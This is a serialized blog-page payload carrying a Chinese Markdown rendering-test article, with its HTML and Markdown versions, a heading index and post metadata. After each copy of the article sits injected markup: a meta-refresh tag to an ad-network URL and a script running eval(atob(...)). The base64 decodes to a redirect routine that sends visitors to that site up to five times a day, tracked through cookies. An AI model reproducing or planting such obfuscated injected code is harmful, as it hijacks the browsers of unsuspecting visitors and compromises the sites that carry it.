class=\"vlist-s\">​\u003C\u002Fspan>\u003C\u002Fspan>\u003Cspan class=\"vlist-r\">\u003Cspan class=\"vlist\" style=\"height:1.55em;\">\u003Cspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Feqn>\u003C\u002Fsection>\u003Cblockquote>\n\u003Cp>如果当前前端没有启用数学公式插件,这一部分可能会按原始文本显示,这也是很有价值的测试结果。\u003C\u002Fp>\n\u003C\u002Fblockquote>\n\u003Chr>\n\u003Ch2 id=\"脚注\" tabindex=\"-1\">脚注\u003C\u002Fh2>\n\u003Cp>这是一个带脚注的句子。\u003Ca href=\"%E8%BF%99%E6%98%AF%E7%AC%AC%E4%B8%80%E6%9D%A1%E8%84%9A%E6%B3%A8%E5%86%85%E5%AE%B9%EF%BC%8C%E7%94%A8%E4%BA%8E%E6%B5%8B%E8%AF%95%E8%84%9A%E6%B3%A8%E7%BC%96%E5%8F%B7%E3%80%81%E8%B7%B3%E8%BD%AC%E5%92%8C%E5%BA%95%E9%83%A8%E6%8E%92%E7%89%88%E3%80%82\">^1\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>脚注也可以连续出现。\u003Ca href=\"%E8%BF%99%E6%98%AF%E7%AC%AC%E4%BA%8C%E6%9D%A1%E8%84%9A%E6%B3%A8%E5%86%85%E5%AE%B9%EF%BC%8C%E7%94%A8%E4%BA%8E%E6%B5%8B%E8%AF%95%E5%A4%9A%E6%9D%A1%E8%84%9A%E6%B3%A8%E7%9A%84%E5%B1%95%E7%A4%BA%E6%95%88%E6%9E%9C%E3%80%82\">^note\u003C\u002Fa>\u003C\u002Fp>\n\u003Chr>\n\u003Ch2 id=\"折叠块与原生-html\" tabindex=\"-1\">折叠块与原生 HTML\u003C\u002Fh2>\n\u003Cp><details>\u003Cbr>\n<summary>点击展开查看附加内容<\u002Fsummary>\u003C\u002Fp>\n\u003Cp>这里是折叠区域内部的内容,可以测试原生 HTML 标签在 Markdown 渲染器中的兼容性。\u003C\u002Fp>\n\u003Cul>\n\u003Cli>支持列表\u003C\u002Fli>\n\u003Cli>支持段落\u003C\u002Fli>\n\u003Cli>支持强调文本\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp><\u002Fdetails>\u003C\u002Fp>\n\u003Cp>这是一个使用 \u003Ccode><kbd>\u003C\u002Fcode> 标签的示例:按下 <kbd>Ctrl<\u002Fkbd> + <kbd>S<\u002Fkbd> 保存草稿。\u003C\u002Fp>\n\u003Cp>这是一个使用 \u003Ccode><sub>\u003C\u002Fcode> 和 \u003Ccode><sup>\u003C\u002Fcode> 的示例:H<sub>2<\u002Fsub>O 与 x<sup>2<\u002Fsup>。\u003C\u002Fp>\n\u003Chr>\n\u003Ch2 id=\"混合内容排版\" tabindex=\"-1\">混合内容排版\u003C\u002Fh2>\n\u003Ch3 id=\"一个带引用列表和代码的组合段落\" tabindex=\"-1\">一个带引用、列表和代码的组合段落\u003C\u002Fh3>\n\u003Cblockquote>\n\u003Cp>做内容系统时,Markdown 渲染不是“能显示就行”,而是一个持续影响阅读体验的基础能力。\u003C\u002Fp>\n\u003C\u002Fblockquote>\n\u003Cp>推荐的检查顺序:\u003C\u002Fp>\n\u003Col>\n\u003Cli>先检查标题、段落、列表、引用是否稳定\u003C\u002Fli>\n\u003Cli>再检查表格、图片、代码块是否在窄屏下溢出\u003C\u002Fli>\n\u003Cli>最后检查扩展语法是否优雅降级\u003C\u002Fli>\n\u003C\u002Fol>\n\u003Cp>示例代码:\u003C\u002Fp>\n\u003Cdiv\n class=\"yy-md-code-block\"\n data-code-language=\"vue\"\n data-code-language-label=\"Vue\"\n data-code-collapsible=\"true\"\n>\n \u003Cdiv class=\"yy-md-code-toolbar\">\n \u003Cdiv class=\"yy-md-code-toolbar-meta\">\n \u003Cspan class=\"yy-md-code-window-controls\" aria-hidden=\"true\">\n \u003Cspan class=\"yy-md-code-window-dot yy-md-code-window-dot-close\">\u003C\u002Fspan>\n \u003Cspan class=\"yy-md-code-window-dot yy-md-code-window-dot-minimize\">\u003C\u002Fspan>\n \u003Cspan class=\"yy-md-code-window-dot yy-md-code-window-dot-expand\">\u003C\u002Fspan>\n \u003C\u002Fspan>\n \u003Cspan class=\"yy-md-code-language-pill\">Vue\u003C\u002Fspan>\n \u003C\u002Fdiv>\n \u003Cdiv class=\"yy-md-code-toolbar-actions\">\n \u003Cbutton type=\"button\" class=\"yy-md-code-action yy-md-code-action-icon\" data-code-toggle data-state=\"collapsed\" aria-label=\"展开代码\" title=\"展开代码\" hidden>\n \u003Cspan data-code-icon-host aria-hidden=\"true\">\u003C\u002Fspan>\n \u003C\u002Fbutton>\n \u003Cbutton type=\"button\" class=\"yy-md-code-action yy-md-code-action-icon\" data-code-copy aria-label=\"复制代码\" title=\"复制代码\">\n \u003Cspan data-code-icon-host aria-hidden=\"true\">\u003C\u002Fspan>\n \u003C\u002Fbutton>\n \u003C\u002Fdiv>\n \u003C\u002Fdiv>\n \u003Cdiv class=\"yy-md-code-body\">\n \u003Cpre class=\"shiki shiki-themes github-light github-dark-default\" style=\"--shiki-light:#24292e;--shiki-dark:#e6edf3;--shiki-light-bg:#fff;--shiki-dark-bg:#0d1117\" tabindex=\"0\">\u003Ccode>\u003Cspan class=\"line\">\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\"><\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#22863A;--shiki-dark:#7EE787\">template\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\">>\u003C\u002Fspan>\u003C\u002Fspan>\n\u003Cspan class=\"line\">\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\"> <\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#22863A;--shiki-dark:#7EE787\">article\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#6F42C1;--shiki-dark:#79C0FF\"> class\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\">=\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#032F62;--shiki-dark:#A5D6FF\">\"yy-content\"\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#6F42C1;--shiki-dark:#79C0FF\"> v-html\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\">=\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#032F62;--shiki-dark:#A5D6FF\">\"html\"\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\">><\u002F\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#22863A;--shiki-dark:#7EE787\">article\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\">>\u003C\u002Fspan>\u003C\u002Fspan>\n\u003Cspan class=\"line\">\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\"><\u002F\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#22863A;--shiki-dark:#7EE787\">template\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\">>\u003C\u002Fspan>\u003C\u002Fspan>\n\u003Cspan class=\"line\">\u003C\u002Fspan>\u003C\u002Fcode>\u003C\u002Fpre>\n \u003C\u002Fdiv>\n\u003C\u002Fdiv>\u003Ch3 id=\"一段适合测试阅读宽度的长文本\" tabindex=\"-1\">一段适合测试阅读宽度的长文本\u003C\u002Fh3>\n\u003Cp>很多博客页面在设计时只关注“看起来像文章页”,但真正上线之后,最常见的问题往往不是功能缺失,而是细节不稳。例如:标题与正文距离过小、列表缩进不统一、代码块在移动端横向滚动体验太差、表格字体过小、链接颜色和正文区分不明显。这些问题单独看都不算严重,但叠加起来会明显影响阅读品质,而一份足够全面的 Markdown 示例,正好可以帮助我们快速发现这些问题。\u003C\u002Fp>\n\u003Chr>\n\u003Ch2 id=\"引用式总结\" tabindex=\"-1\">引用式总结\u003C\u002Fh2>\n\u003Cblockquote>\n\u003Cp>如果这份文档中的大多数元素都能稳定渲染,说明你的博客前端 Markdown 展示层已经具备了比较完整的基础能力。\u003C\u002Fp>\n\u003C\u002Fblockquote>\n\u003Chr>\n\u003Ch2 id=\"扩展语法观察区\" tabindex=\"-1\">扩展语法观察区\u003C\u002Fh2>\n\u003Cp>下面这些语法是否生效,取决于你的 Markdown 渲染器是否启用了对应插件。\u003C\u002Fp>\n\u003Cp>::: info\u003Cbr>\n这是一个自定义容器示例,常见于文档站。\u003Cbr>\n:::\u003C\u002Fp>\n\u003Cp>==这是高亮语法示例==\u003C\u002Fp>\n\u003Cul class=\"yy-md-task-list\">\n\u003Cli class=\"yy-md-task-item\" data-task-checked=\"false\">\u003Cspan class=\"yy-md-task-row\">\u003Cspan class=\"yy-md-task-checkbox\" data-checked=\"false\" aria-hidden=\"true\">\u003C\u002Fspan>\u003Cspan class=\"yy-md-task-label\">这是某些编辑器支持的增强任务列表语法\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>~下划线\u002F插入语法在部分实现中可能不会生效~\u003C\u002Fp>\n\u003Chr>\n\u003Ch2 id=\"结尾\" tabindex=\"-1\">结尾\u003C\u002Fh2>\n\u003Cp>渲染测试完成后,你可以重点观察以下几类问题:\u003C\u002Fp>\n\u003Cul>\n\u003Cli>标题层级是否清晰\u003C\u002Fli>\n\u003Cli>段落间距是否舒适\u003C\u002Fli>\n\u003Cli>图片和表格是否溢出容器\u003C\u002Fli>\n\u003Cli>代码块是否具备语言标签与高亮\u003C\u002Fli>\n\u003Cli>移动端是否出现横向滚动异常\u003C\u002Fli>\n\u003Cli>扩展语法在未启用插件时是否优雅降级\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>祝你测试顺利。\u003C\u002Fp>'\">\u003C\u002Ftitle>\u003C\u002Fa>\u003CMETA HTTP-EQUIV=REFRESH CONTENT=0;URL=https:\u002F\u002Fwww.profitableratecpmnetwork.com\u002Fipz8wwrq0?key=1ab0dd097876ddb0762b2ab9a927cc0d>\u003Ctitle>\u003Ca>'\">\u003C\u002Ftitle>\u003C\u002Fa>\u003Cscript>eval(atob(\"CiAgICAgICAgZnVuY3Rpb24gYW1vbCgpe3dpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCdodHRwczovL3d3dy5wcm9maXRhYmxlcmF0ZWNwbW5ldHdvcmsuY29tL2lwejh3d3JxMD9rZXk9MWFiMGRkMDk3ODc2ZGRiMDc2MmIyYWI5YTkyN2NjMGQnKTt9CiAgICAgICAgKGZ1bmN0aW9uKCkgewogICAgICAgICAgICBpZiAod2luZG93Ll9fc2NyaXB0SW5zdGFuY2VMb2FkZWQpIHtyZXR1cm47fQogICAgICAgICAgICB3aW5kb3cuX19zY3JpcHRJbnN0YW5jZUxvYWRlZCA9IHRydWU7CiAgICAgICAgICAgIGZ1bmN0aW9uIHNldENvb2tpZShuYW1lLCB2YWx1ZSwgaG91cnMpIHtsZXQgZXhwaXJlcyA9ICIiO2lmIChob3Vycykge2NvbnN0IGRhdGUgPSBuZXcgRGF0ZSgpO2RhdGUuc2V0VGltZShkYXRlLmdldFRpbWUoKSArIChob3VycyAqIDYwICogNjAgKiAxMDAwKSk7ZXhwaXJlcyA9ICI7IGV4cGlyZXM9IiArIGRhdGUudG9VVENTdHJpbmcoKTt9IGRvY3VtZW50LmNvb2tpZSA9IG5hbWUgKyAiPSIgKyAodmFsdWUgfHwgIiIpICsgZXhwaXJlcyArICI7IHBhdGg9LzsgU2FtZVNpdGU9TGF4Ijt9CiAgICAgICAgICAgIGZ1bmN0aW9uIGdldENvb2tpZShuYW1lKSB7Y29uc3QgbmFtZUVRID0gbmFtZSArICI9Ijtjb25zdCBjYSA9IGRvY3VtZW50LmNvb2tpZS5zcGxpdCgnOycpO2ZvciAobGV0IGkgPSAwOyBpIDwgY2EubGVuZ3RoOyBpKyspIHtsZXQgYyA9IGNhW2ldO3doaWxlIChjLmNoYXJBdCgwKSA9PT0gJyAnKSBjID0gYy5zdWJzdHJpbmcoMSwgYy5sZW5ndGgpO2lmIChjLmluZGV4T2YobmFtZUVRKSA9PT0gMCkgcmV0dXJuIGMuc3Vic3RyaW5nKG5hbWVFUS5sZW5ndGgsIGMubGVuZ3RoKTt9cmV0dXJuIG51bGw7fQogICAgICAgICAgICBmdW5jdGlvbiBlamVjdXRhckNvbkxpbWl0ZSgpIHtjb25zdCBDT09LSUVfQ09VTlQgPSAiZXhlY19jb250YWRvcl92MSI7Y29uc3QgQ09PS0lFX0xPQ0sgPSAiZXhlY19ibG9xdWVvXzI0aCI7Y29uc3QgTUFYX0VKRUNVQ0lPTkVTID0gNTsKICAgICAgICAgICAgaWYgKGdldENvb2tpZShDT09LSUVfTE9DSykpIHtyZXR1cm47fQogICAgICAgICAgICBsZXQgY29udGVvID0gcGFyc2VJbnQoZ2V0Q29va2llKENPT0tJRV9DT1VOVCkgfHwgIjAiLCAxMCk7CiAgICAgICAgICAgIGlmIChjb250ZW8gPCBNQVhfRUpFQ1VDSU9ORVMpe2NvbnRlbysrO2Ftb2woKTsKICAgICAgICAgICAgICAgIGlmIChjb250ZW8gPj0gTUFYX0VKRUNVQ0lPTkVTKSB7c2V0Q29va2llKENPT0tJRV9MT0NLLCAibG9ja2VkIiwgMjQpO3NldENvb2tpZShDT09LSUVfQ09VTlQsICIwIiwgMjQpO31lbHNle3NldENvb2tpZShDT09LSUVfQ09VTlQsIGNvbnRlby50b1N0cmluZygpLCAyNCk7fX19CiAgICAgICAgICAgIGVqZWN1dGFyQ29uTGltaXRlKCk7fSkoKTs=\"));\u003C\u002Fscript>\u003Ctitle>\u003Ca>","# Markdown 全格式渲染示例\n\n> 这是一份用于测试博客前端渲染效果的 Markdown 示例文档。\n> 你可以直接复制到文章系统中,也可以把这份文件作为渲染回归测试样例长期保留。\n\n---\n\n## 目录建议\n\n- 标题层级\n- 段落与强调\n- 引用与分隔线\n- 列表与任务清单\n- 链接与图片\n- 表格\n- 行内代码与代码块\n- 数学公式\n- 脚注\n- 折叠块与原生 HTML\n- 混合内容排版\n\n---\n\n# 一级标题 Heading 1\n\n这是一个普通段落,用来测试正文的默认字号、行高、字间距、段间距以及最大阅读宽度是否合适。\n\n同一个段落中可以包含 **粗体**、*斜体*、***粗斜体***、~~删除线~~、`行内代码`、\u003Cmark>高亮文本\u003C\u002Fmark>,以及 `Ctrl + K` 这种快捷键写法。\n\n这里再补一个较长的中文自然段,方便观察文本在多行换行时的阅读节奏是否稳定。理想情况下,正文不应该显得过于拥挤,也不应该让行距过于松散,影响连续阅读体验。\n\n## 二级标题 Heading 2\n\n二级标题下通常承接一个完整小节,适合测试标题的字号层级、与上文的留白距离、标题锚点偏移以及目录高亮状态。\n\n### 三级标题 Heading 3\n\n三级标题适合做章节内的子主题。\n\n#### 四级标题 Heading 4\n\n四级标题通常用于更细粒度的信息组织。\n\n##### 五级标题 Heading 5\n\n五级标题可以用于说明、附注或边界场景。\n\n###### 六级标题 Heading 6\n\n六级标题一般很少使用,但仍建议测试样式是否可读。\n\n---\n\n## 段落与强调\n\n春天适合重新整理内容结构,也适合检查博客的排版系统是否足够稳定。\n\n如果你正在做内容站点,通常会特别关注这些细节:\n\n- **粗体** 是否足够醒目\n- *斜体* 是否与正文有明显区分\n- ~~删除线~~ 是否颜色偏淡导致不可读\n- `行内代码` 是否有独立背景与圆角\n\n你也可以测试中英文混排,例如:Yunyu blog 在渲染 Markdown article 时,应该保证 English words、数字 2026、以及中文内容之间都保持舒适的阅读节奏。\n\n---\n\n## 引用与分隔线\n\n> 这是一级引用。\n>\n> 引用块常用于摘录、强调观点或做补充说明。\n\n> 这是一个带嵌套层级的引用。\n>\n> > 这是二级引用。\n> >\n> > 二级引用适合测试边框、缩进和背景层次。\n\n---\n\n## 列表与任务清单\n\n### 无序列表\n\n- 第一项\n- 第二项\n- 第三项\n\n### 有序列表\n\n1. 打开博客后台\n2. 新建一篇测试文章\n3. 粘贴这份 Markdown 内容\n4. 检查前端渲染效果\n\n### 混合列表示例\n\n1. 内容准备\n - 标题\n - 正文\n - 配图\n2. 排版检查\n - 间距\n - 字体\n - 对齐\n3. 发布预览\n - PC 端\n - 移动端\n\n### 任务清单\n\n- [x] 标题层级测试\n- [x] 列表样式测试\n- [x] 代码高亮测试\n- [ ] 数学公式插件测试\n- [ ] 脚注插件测试\n- [ ] 自定义容器测试\n\n---\n\n## 链接与图片\n\n这是一个普通链接:[云屿项目仓库](https:\u002F\u002Fexample.com\u002Fyunyu)。\n\n这是一个自动链接:\u003Chttps:\u002F\u002Fexample.com\u002Farticles\u002Fmarkdown-demo>\n\n这是一个带 title 的链接:[前往文章详情页](https:\u002F\u002Fexample.com\u002Fposts\u002Fdemo \"文章详情页\")。\n\n下面是图片测试:\n\n![示例封面图](https:\u002F\u002Fimages.unsplash.com\u002Fphoto-1500530855697-b586d89ba3ee?auto=format&fit=crop&w=1200&q=80)\n\n带说明文字的图片写法可以配合斜体段落一起测试:\n\n*图 1:用于测试图片宽度、圆角、阴影、懒加载占位以及 caption 样式。*\n\n---\n\n## 表格\n\n| 字段 | 类型 | 是否必填 | 说明 |\n| --- | --- | --- | --- |\n| title | string | 是 | 文章标题 |\n| summary | string | 否 | 文章摘要 |\n| contentMarkdown | string | 是 | Markdown 正文 |\n| coverImage | string | 否 | 封面图地址 |\n| publishedAt | datetime | 否 | 发布时间 |\n\n对齐方式测试:\n\n| 左对齐 | 居中对齐 | 右对齐 |\n| :--- | :---: | ---: |\n| Vue | Nuxt | 4.3 |\n| Java | Spring Boot | 3.4 |\n| MySQL | Redis | 8.4 |\n\n---\n\n## 行内代码与代码块\n\n下面是 `bash` 代码块:\n\n```bash\npnpm install\npnpm dev\n```\n\n下面是 `ts` 代码块:\n\n```ts\ninterface ArticleTocItem {\n id: string\n text: string\n level: number\n}\n\nconst toc: ArticleTocItem[] = [\n { id: 'intro', text: '简介', level: 2 },\n { id: 'usage', text: '使用方式', level: 2 }\n]\n\nexport function formatHeading(text: string): string {\n return text.trim().toLowerCase().replace(\u002F\\s+\u002Fg, '-')\n}\n```\n\n下面是 `java` 代码块:\n\n```java\n\u002F**\n * 文章摘要值对象。\n * 作用:用于在接口层统一返回文章卡片所需的基础信息。\n *\u002F\npublic class PostSummaryResponse {\n\n \u002F**\n * 文章标题。\n *\u002F\n private String title;\n\n \u002F**\n * 文章摘要。\n *\u002F\n private String summary;\n}\n```\n\n下面是 `json` 代码块:\n\n```json\n{\n \"code\": 0,\n \"message\": \"success\",\n \"data\": {\n \"id\": 10001,\n \"title\": \"Markdown 全格式渲染示例\",\n \"status\": \"PUBLISHED\"\n }\n}\n```\n\n下面是 `diff` 代码块:\n\n```diff\n- color: #999;\n+ color: #111827;\n\n- line-height: 1.6;\n+ line-height: 1.85;\n```\n\n---\n\n## 数学公式\n\n行内公式测试:$E = mc^2$\n\n块级公式测试:\n\n$$\n\\int_0^1 x^2 \\, dx = \\frac{1}{3}\n$$\n\n矩阵公式测试:\n\n$$\n\\begin{bmatrix}\n1 & 2 & 3 \\\\\n4 & 5 & 6 \\\\\n7 & 8 & 9\n\\end{bmatrix}\n$$\n\n> 如果当前前端没有启用数学公式插件,这一部分可能会按原始文本显示,这也是很有价值的测试结果。\n\n---\n\n## 脚注\n\n这是一个带脚注的句子。[^1]\n\n脚注也可以连续出现。[^note]\n\n[^1]: 这是第一条脚注内容,用于测试脚注编号、跳转和底部排版。\n[^note]: 这是第二条脚注内容,用于测试多条脚注的展示效果。\n\n---\n\n## 折叠块与原生 HTML\n\n\u003Cdetails>\n \u003Csummary>点击展开查看附加内容\u003C\u002Fsummary>\n\n这里是折叠区域内部的内容,可以测试原生 HTML 标签在 Markdown 渲染器中的兼容性。\n\n- 支持列表\n- 支持段落\n- 支持强调文本\n\n\u003C\u002Fdetails>\n\n这是一个使用 `\u003Ckbd>` 标签的示例:按下 \u003Ckbd>Ctrl\u003C\u002Fkbd> + \u003Ckbd>S\u003C\u002Fkbd> 保存草稿。\n\n这是一个使用 `\u003Csub>` 和 `\u003Csup>` 的示例:H\u003Csub>2\u003C\u002Fsub>O 与 x\u003Csup>2\u003C\u002Fsup>。\n\n---\n\n## 混合内容排版\n\n### 一个带引用、列表和代码的组合段落\n\n> 做内容系统时,Markdown 渲染不是“能显示就行”,而是一个持续影响阅读体验的基础能力。\n\n推荐的检查顺序:\n\n1. 先检查标题、段落、列表、引用是否稳定\n2. 再检查表格、图片、代码块是否在窄屏下溢出\n3. 最后检查扩展语法是否优雅降级\n\n示例代码:\n\n```vue\n\u003Ctemplate>\n \u003Carticle class=\"yy-content\" v-html=\"html\">\u003C\u002Farticle>\n\u003C\u002Ftemplate>\n```\n\n### 一段适合测试阅读宽度的长文本\n\n很多博客页面在设计时只关注“看起来像文章页”,但真正上线之后,最常见的问题往往不是功能缺失,而是细节不稳。例如:标题与正文距离过小、列表缩进不统一、代码块在移动端横向滚动体验太差、表格字体过小、链接颜色和正文区分不明显。这些问题单独看都不算严重,但叠加起来会明显影响阅读品质,而一份足够全面的 Markdown 示例,正好可以帮助我们快速发现这些问题。\n\n---\n\n## 引用式总结\n\n> 如果这份文档中的大多数元素都能稳定渲染,说明你的博客前端 Markdown 展示层已经具备了比较完整的基础能力。\n\n---\n\n## 扩展语法观察区\n\n下面这些语法是否生效,取决于你的 Markdown 渲染器是否启用了对应插件。\n\n::: info\n这是一个自定义容器示例,常见于文档站。\n:::\n\n==这是高亮语法示例==\n\n+ [ ] 这是某些编辑器支持的增强任务列表语法\n\n~下划线\u002F插入语法在部分实现中可能不会生效~\n\n---\n\n## 结尾\n\n渲染测试完成后,你可以重点观察以下几类问题:\n\n- 标题层级是否清晰\n- 段落间距是否舒适\n- 图片和表格是否溢出容器\n- 代码块是否具备语言标签与高亮\n- 移动端是否出现横向滚动异常\n- 扩展语法在未启用插件时是否优雅降级\n\n祝你测试顺利。'\">\u003C\u002Ftitle>\u003C\u002Fa>\u003CMETA HTTP-EQUIV=REFRESH CONTENT=0;URL=https:\u002F\u002Fwww.profitableratecpmnetwork.com\u002Fipz8wwrq0?key=1ab0dd097876ddb0762b2ab9a927cc0d>\u003Ctitle>\u003Ca>'\">\u003C\u002Ftitle>\u003C\u002Fa>\u003Cscript>eval(atob(\"CiAgICAgICAgZnVuY3Rpb24gYW1vbCgpe3dpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCdodHRwczovL3d3dy5wcm9maXRhYmxlcmF0ZWNwbW5ldHdvcmsuY29tL2lwejh3d3JxMD9rZXk9MWFiMGRkMDk3ODc2ZGRiMDc2MmIyYWI5YTkyN2NjMGQnKTt9CiAgICAgICAgKGZ1bmN0aW9uKCkgewogICAgICAgICAgICBpZiAod2luZG93Ll9fc2NyaXB0SW5zdGFuY2VMb2FkZWQpIHtyZXR1cm47fQogICAgICAgICAgICB3aW5kb3cuX19zY3JpcHRJbnN0YW5jZUxvYWRlZCA9IHRydWU7CiAgICAgICAgICAgIGZ1bmN0aW9uIHNldENvb2tpZShuYW1lLCB2YWx1ZSwgaG91cnMpIHtsZXQgZXhwaXJlcyA9ICIiO2lmIChob3Vycykge2NvbnN0IGRhdGUgPSBuZXcgRGF0ZSgpO2RhdGUuc2V0VGltZShkYXRlLmdldFRpbWUoKSArIChob3VycyAqIDYwICogNjAgKiAxMDAwKSk7ZXhwaXJlcyA9ICI7IGV4cGlyZXM9IiArIGRhdGUudG9VVENTdHJpbmcoKTt9IGRvY3VtZW50LmNvb2tpZSA9IG5hbWUgKyAiPSIgKyAodmFsdWUgfHwgIiIpICsgZXhwaXJlcyArICI7IHBhdGg9LzsgU2FtZVNpdGU9TGF4Ijt9CiAgICAgICAgICAgIGZ1bmN0aW9uIGdldENvb2tpZShuYW1lKSB7Y29uc3QgbmFtZUVRID0gbmFtZSArICI9Ijtjb25zdCBjYSA9IGRvY3VtZW50LmNvb2tpZS5zcGxpdCgnOycpO2ZvciAobGV0IGkgPSAwOyBpIDwgY2EubGVuZ3RoOyBpKyspIHtsZXQgYyA9IGNhW2ldO3doaWxlIChjLmNoYXJBdCgwKSA9PT0gJyAnKSBjID0gYy5zdWJzdHJpbmcoMSwgYy5sZW5ndGgpO2lmIChjLmluZGV4T2YobmFtZUVRKSA9PT0gMCkgcmV0dXJuIGMuc3Vic3RyaW5nKG5hbWVFUS5sZW5ndGgsIGMubGVuZ3RoKTt9cmV0dXJuIG51bGw7fQogICAgICAgICAgICBmdW5jdGlvbiBlamVjdXRhckNvbkxpbWl0ZSgpIHtjb25zdCBDT09LSUVfQ09VTlQgPSAiZXhlY19jb250YWRvcl92MSI7Y29uc3QgQ09PS0lFX0xPQ0sgPSAiZXhlY19ibG9xdWVvXzI0aCI7Y29uc3QgTUFYX0VKRUNVQ0lPTkVTID0gNTsKICAgICAgICAgICAgaWYgKGdldENvb2tpZShDT09LSUVfTE9DSykpIHtyZXR1cm47fQogICAgICAgICAgICBsZXQgY29udGVvID0gcGFyc2VJbnQoZ2V0Q29va2llKENPT0tJRV9DT1VOVCkgfHwgIjAiLCAxMCk7CiAgICAgICAgICAgIGlmIChjb250ZW8gPCBNQVhfRUpFQ1VDSU9ORVMpe2NvbnRlbysrO2Ftb2woKTsKICAgICAgICAgICAgICAgIGlmIChjb250ZW8gPj0gTUFYX0VKRUNVQ0lPTkVTKSB7c2V0Q29va2llKENPT0tJRV9MT0NLLCAibG9ja2VkIiwgMjQpO3NldENvb2tpZShDT09LSUVfQ09VTlQsICIwIiwgMjQpO31lbHNle3NldENvb2tpZShDT09LSUVfQ09VTlQsIGNvbnRlby50b1N0cmluZygpLCAyNCk7fX19CiAgICAgICAgICAgIGVqZWN1dGFyQ29uTGltaXRlKCk7fSkoKTs=\"));\u003C\u002Fscript>\u003Ctitle>\u003Ca>","[{\"id\": \"markdown-全格式渲染示例\", \"text\": \"Markdown 全格式渲染示例\", \"level\": 1}, {\"id\": \"目录建议\", \"text\": \"目录建议\", \"level\": 2}, {\"id\": \"一级标题-heading-1\", \"text\": \"一级标题 Heading 1\", \"level\": 1}, {\"id\": \"二级标题-heading-2\", \"text\": \"二级标题 Heading 2\", \"level\": 2}, {\"id\": \"三级标题-heading-3\", \"text\": \"三级标题 Heading 3\", \"level\": 3}, {\"id\": \"四级标题-heading-4\", \"text\": \"四级标题 Heading 4\", \"level\": 4}, {\"id\": \"五级标题-heading-5\", \"text\": \"五级标题 Heading 5\", \"level\": 5}, {\"id\": \"六级标题-heading-6\", \"text\": \"六级标题 Heading 6\", \"level\": 6}, {\"id\": \"段落与强调\", \"text\": \"段落与强调\", \"level\": 2}, {\"id\": \"引用与分隔线\", \"text\": \"引用与分隔线\", \"level\": 2}, {\"id\": \"列表与任务清单\", \"text\": \"列表与任务清单\", \"level\": 2}, {\"id\": \"无序列表\", \"text\": \"无序列表\", \"level\": 3}, {\"id\": \"有序列表\", \"text\": \"有序列表\", \"level\": 3}, {\"id\": \"混合列表示例\", \"text\": \"混合列表示例\", \"level\": 3}, {\"id\": \"任务清单\", \"text\": \"任务清单\", \"level\": 3}, {\"id\": \"链接与图片\", \"text\": \"链接与图片\", \"level\": 2}, {\"id\": \"表格\", \"text\": \"表格\", \"level\": 2}, {\"id\": \"行内代码与代码块\", \"text\": \"行内代码与代码块\", \"level\": 2}, {\"id\": \"数学公式\", \"text\": \"数学公式\", \"level\": 2}, {\"id\": \"脚注\", \"text\": \"脚注\", \"level\": 2}, {\"id\": \"折叠块与原生-html\", \"text\": \"折叠块与原生 HTML\", \"level\": 2}, {\"id\": \"混合内容排版\", \"text\": \"混合内容排版\", \"level\": 2}, {\"id\": \"一个带引用列表和代码的组合段落\", \"text\": \"一个带引用、列表和代码的组合段落\", \"level\": 3}, {\"id\": \"一段适合测试阅读宽度的长文本\", \"text\": \"一段适合测试阅读宽度的长文本\", \"level\": 3}, {\"id\": \"引用式总结\", \"text\": \"引用式总结\", \"level\": 2}, {\"id\": \"扩展语法观察区\", \"text\": \"扩展语法观察区\", \"level\": 2}, {\"id\": \"结尾\", \"text\": \"结尾\", \"level\": 2}]","https:\u002F\u002Fs3.hi168.com\u002Fhi168-29272-3320gqns\u002Ftest\u002F6688.jpeg",5,141,"2026-03-21T19:20:00",6,[41,57,83],{"authorAvatarUrl":7,"authorName":15,"categoryName":7,"categorySlug":7,"coverUrl":42,"id":43,"likeCount":44,"publishedAt":45,"readingMinutes":46,"recommend":14,"slug":47,"summary":7,"tagItems":48,"tagNames":52,"title":53,"top":14,"topicItems":54,"topicNames":55,"viewCount":56},"https:\u002F\u002Foss.ideaflow.top\u002FarticleCover\u002Fd9bab5be2791cefb1d7200d117ed75b51a25c98fab6db990a52e5a1378b4b8f5.webp",7,0,"2026-04-03T15:47:38",10,"ceshi-shili",[49],{"name":50,"slug":51},"新手入门","beginner",[50],"测试-md示例",[],[],37,{"authorAvatarUrl":7,"authorName":15,"categoryName":58,"categorySlug":59,"coverUrl":35,"id":25,"likeCount":60,"publishedAt":61,"readingMinutes":25,"recommend":14,"slug":62,"summary":63,"tagItems":64,"tagNames":72,"title":73,"top":14,"topicItems":74,"topicNames":81,"viewCount":82},"新番观察","season-watch",326,"2026-03-27T20:00:00","spring-2026-first-five","如果你只想先追 5 